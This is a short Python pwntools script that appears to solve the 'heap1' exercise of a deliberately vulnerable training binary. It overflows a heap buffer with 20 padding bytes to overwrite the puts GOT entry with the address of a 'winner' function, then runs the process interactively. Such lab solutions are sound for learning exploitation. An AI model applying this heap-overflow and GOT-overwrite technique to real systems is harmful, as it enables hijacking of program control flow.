from pwn import *

_winner = p32(0x08048494)
_got_puts = p32(0x08049774)

# (gdb) p 0x804a180 - 0x804a170
# $2 = 16
arg1 = b"A" * (16 + 4)
arg1 += _got_puts
arg2 = _winner

p = process(['./heap1', arg1, arg2])
p.interactive()
